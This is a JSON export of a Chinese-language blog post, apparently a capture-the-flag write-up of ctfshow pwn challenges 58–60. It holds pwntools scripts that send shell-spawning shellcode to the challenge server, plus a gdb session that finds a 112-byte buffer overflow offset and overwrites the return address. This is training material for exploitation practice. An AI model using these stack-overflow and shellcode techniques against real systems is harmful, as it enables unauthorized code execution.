{"id":300,"date":"2025-03-22T23:13:15","date_gmt":"2025-03-22T15:13:15","guid":{"rendered":"http:\/\/www.okabe.xin\/?p=300"},"modified":"2025-03-22T23:13:15","modified_gmt":"2025-03-22T15:13:15","slug":"%e5%8f%af%e7%ac%91%e5%90%97-%e6%88%91%e5%81%9a%e4%b8%8d%e5%87%bapwn%e7%9a%84%e6%97%b6%e5%80%99%e6%9c%89%e5%a4%9a%e6%85%8c%e5%bc%a0%ef%bc%8c%e5%ae%83%e4%bc%9a%e7%9c%8b%e8%a7%81%e5%90%97%c2%b7%c2%b7","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=300","title":{"rendered":"\u53ef\u7b11\u5417 \u6211\u505a\u4e0d\u51fapwn\u7684\u65f6\u5019\u6709\u591a\u614c\u5f20\uff0c\u5b83\u4f1a\u770b\u89c1\u5417\u00b7\u00b7\u00b7"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">pwn58<\/h2>\n\n\n\n<p>checksec<\/p>\n\n\n\n<p>32\u4f4d<\/p>\n\n\n\n<p>IDA\u5206\u6790<\/p>\n\n\n\n<p>main\u51fd\u6570\u53cd\u7f16\u8bd1\u5931\u8d25\uff0c\u6000\u7591\u5c31\u662f\u8fd9\u6837\u8bbe\u8ba1\u7684\uff08\uff09<\/p>\n\n\n\n<p>\u5c31\u76f4\u63a5\u5c06\u5c31\u6c47\u7f16\u8fdb\u884c\u5206\u6790<\/p>\n\n\n\n<p>\u5927\u81f4\u7684\u51fd\u6570\u987a\u5e8f\u5c31\u662f\u5148logo\u518dctfshow\u51fd\u6570<\/p>\n\n\n\n<p>logo\u51fd\u6570\u4e00\u5982\u65e2\u5f80\u6ca1\u4e1c\u897f<\/p>\n\n\n\n<p>\u8fdbctfshow\u51fd\u6570<\/p>\n\n\n\n<p>ctfshow\u51fd\u6570\u53ea\u6709\u4e2agets\u51fd\u6570<\/p>\n\n\n\n<p>\u627e\u904d\u5b57\u6bb5\u6ca1\u627e\u5230\u540e\u95e8<\/p>\n\n\n\n<p>\u81ea\u884c\u4f20\u5165shellcode\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>p = remote(\"pwn.challenge.ctf.show\",28305)<br>shellcode = asm(shellcraft.sh(),arch='i386',os='linux')<br>p.sendline(shellcode)<br>p.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn59<\/h2>\n\n\n\n<p>64\u4f4dshellcode<\/p>\n\n\n\n<p>\u4e0d\u7528\u50cf\u4e4b\u524d\u768464\u4f4d\u4f20\u53c2\u4e00\u6837\u9700\u8981\u627erdi\u5565\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>\u76f4\u63a5\u4f20shellcode\u5373\u53ef<\/p>\n\n\n\n<p>\u4f46\u662f\u5fc5\u987b\u52a0\u4e0a\u67b6\u6784\u624d\u80fd\u6253\u901a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>p = remote(\"pwn.challenge.ctf.show\",28125)<br>context.arch='amd64'<br>shellcode = asm(shellcraft.sh())<br>payload = shellcode<br>p.sendline(payload)<br>p.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn60<\/h2>\n\n\n\n<p>\u7a0d\u96be\u7684shellcode<\/p>\n\n\n\n<p>checksec<\/p>\n\n\n\n<p>32\u4f4d<\/p>\n\n\n\n<p>\u770bmain\u51fd\u6570<\/p>\n\n\n\n<p>\u5b58\u5728\u4e00\u4e2agets\u51fd\u6570\u548c\u4e00\u4e2astrncpy\u51fd\u6570<\/p>\n\n\n\n<p>gets\u51fd\u6570\u5c31\u5f88\u660e\u663e\u7684\u9700\u8981\u8fdb\u884c\u4e00\u4e2a\u6ea2\u51fa\u5904\u7406<\/p>\n\n\n\n<p>strncpy\u662f\u628as\u590d\u5236\u7ed9buf2<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int __cdecl main(int argc, const char **argv, const char **envp)<br>{<br> &nbsp;char s&#91;100]; \/\/ &#91;esp+1Ch] &#91;ebp-64h] BYREF<br>\u200b<br> &nbsp;setvbuf(stdout, 0, 2, 0);<br> &nbsp;setvbuf(stdin, 0, 1, 0);<br> &nbsp;puts(\"CTFshow-pwn can u pwn me here!!\");<br> &nbsp;gets(s);<br> &nbsp;strncpy(buf2, s, 0x64u);<br> &nbsp;printf(\"See you ~\");<br> &nbsp;return 0;<br>}<br>\u200b<br>\u200b<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5gdb\u52a8\u6001\u8c03\u8bd5\u641e\u51fa\u504f\u79fb\u91cf<\/p>\n\n\n\n<p>gdb\u6709\u65f6\u4f1a\u51fa\u73b0\u6ca1\u6709\u6743\u9650\u7684\u60c5\u51b5<\/p>\n\n\n\n<p>\u4f7f\u7528\u6307\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">chmod 777 pwn60<\/pre>\n\n\n\n<p>\u7136\u540e\u6b63\u5e38\u8c03\u8bd5\u51fd\u6570\u5373\u53ef<\/p>\n\n\n\n<p>\u5177\u4f53\u8c03\u8bd5\u6d41\u7a0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctfshow@ubuntu:~\/Desktop\/xd$ chmod 777 pwn60<br>ctfshow@ubuntu:~\/Desktop\/xd$ gdb pwn60<br>GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1<br>Copyright (C) 2018 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;http:\/\/gnu.org\/licenses\/gpl.html&gt;<br>This is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law. &nbsp;Type \"show copying\"<br>and \"show warranty\" for details.<br>This GDB was configured as \"x86_64-linux-gnu\".<br>Type \"show configuration\" for configuration details.<br>For bug reporting instructions, please see:<br>&lt;http:\/\/www.gnu.org\/software\/gdb\/bugs\/&gt;.<br>Find the GDB manual and other documentation resources online at:<br>&lt;http:\/\/www.gnu.org\/software\/gdb\/documentation\/&gt;.<br>For help, type \"help\".<br>Type \"apropos word\" to search for commands related to \"word\"...<br>pwndbg: loaded 191 commands. Type pwndbg &#91;filter] for a list.<br>pwndbg: created $rebase, $ida gdb functions (can be used with print\/break)<br>Reading symbols from pwn60...done.<br>pwndbg&gt; cyclic 200<br>aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab<br>pwndbg&gt; r<br>Starting program: \/home\/ctfshow\/Desktop\/xd\/pwn60 <br>CTFshow-pwn can u pwn me here!!<br>aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab<br>See you ~<br>Program received signal SIGSEGV, Segmentation fault.<br>0x62616164 in ?? ()<br>LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; REGISTERS ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> EAX &nbsp;0x0<br> EBX &nbsp;0x0<br> ECX &nbsp;0x9<br> EDX &nbsp;0xf7fad890 (_IO_stdfile_1_lock) \u25c2\u2014 0<br> EDI &nbsp;0x0<br> ESI &nbsp;0xf7fac000 (_GLOBAL_OFFSET_TABLE_) \u25c2\u2014 0x1d7d8c<br> EBP &nbsp;0x62616163 ('caab')<br> ESP &nbsp;0xffffcf30 \u25c2\u2014 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'<br> EIP &nbsp;0x62616164 ('daab')<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; DISASM ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>Invalid address 0x62616164<br>\u200b<br>\u200b<br>\u200b<br>\u200b<br>\u200b<br>\u200b<br>\u200b<br>\u200b<br>\u200b<br>\u200b<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; STACK ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>00:0000\u2502 esp &nbsp;0xffffcf30 \u25c2\u2014 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'<br>01:0004\u2502 &nbsp; &nbsp; &nbsp;0xffffcf34 \u25c2\u2014 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'<br>02:0008\u2502 &nbsp; &nbsp; &nbsp;0xffffcf38 \u25c2\u2014 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'<br>03:000c\u2502 &nbsp; &nbsp; &nbsp;0xffffcf3c \u25c2\u2014 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'<br>04:0010\u2502 &nbsp; &nbsp; &nbsp;0xffffcf40 \u25c2\u2014 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'<br>05:0014\u2502 &nbsp; &nbsp; &nbsp;0xffffcf44 \u25c2\u2014 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'<br>06:0018\u2502 &nbsp; &nbsp; &nbsp;0xffffcf48 \u25c2\u2014 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'<br>07:001c\u2502 &nbsp; &nbsp; &nbsp;0xffffcf4c \u25c2\u2014 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba f 0 62616164<br> &nbsp; f 1 62616165<br> &nbsp; f 2 62616166<br> &nbsp; f 3 62616167<br> &nbsp; f 4 62616168<br> &nbsp; f 5 62616169<br> &nbsp; f 6 6261616a<br> &nbsp; f 7 6261616b<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>pwndbg&gt; cyclic -l<br>usage: pwn cyclic &#91;-h] &#91;-a alphabet] &#91;-n length] &#91;-c context] &#91;-l lookup_value | count]<br>pwn cyclic: error: argument -l\/-o\/--offset\/--lookup: expected one argument<br>pwndbg&gt; cyclic -l 62616164<br>&#91;CRITICAL] Pattern contains characters not present in the alphabet<br>pwndbg&gt; cyclic -l 0x62616164<br>112<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u62ff\u5230\u4e86\u5b9e\u9645\u7684\u504f\u79fb\u91cf<\/p>\n\n\n\n<p>\u5c31\u8fd9\u6837\u76f4\u63a5\u6253shellcode\uff0c\u7528ljust\u65b9\u6cd5\u8865\u9f50buf2\u5b57\u6bb5\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>context.log_level = 'debug'<br>p = remote(\"pwn.challenge.ctf.show\", 28291)<br>e = ELF(\".\/pwn60\")<br>buf2 = e.sym&#91;'buf2']<br>shellcode = asm(shellcraft.sh())<br>payload = shellcode.ljust(112, b'a') + p32(buf2)<br>p.sendline(payload)<br>p.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>pwn58 checksec 32\u4f4d IDA\u5206\u6790 main\u51fd\u6570\u53cd\u7f16\u8bd1\u5931\u8d25\uff0c\u6000\u7591\u5c31\u662f\u8fd9\u6837\u8bbe\u8ba1\u7684\uff08\uff09 \u5c31\u76f4\u63a5\u5c06\u5c31\u6c47 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-300","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/300","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=300"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/300\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=300"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=300"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=300"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}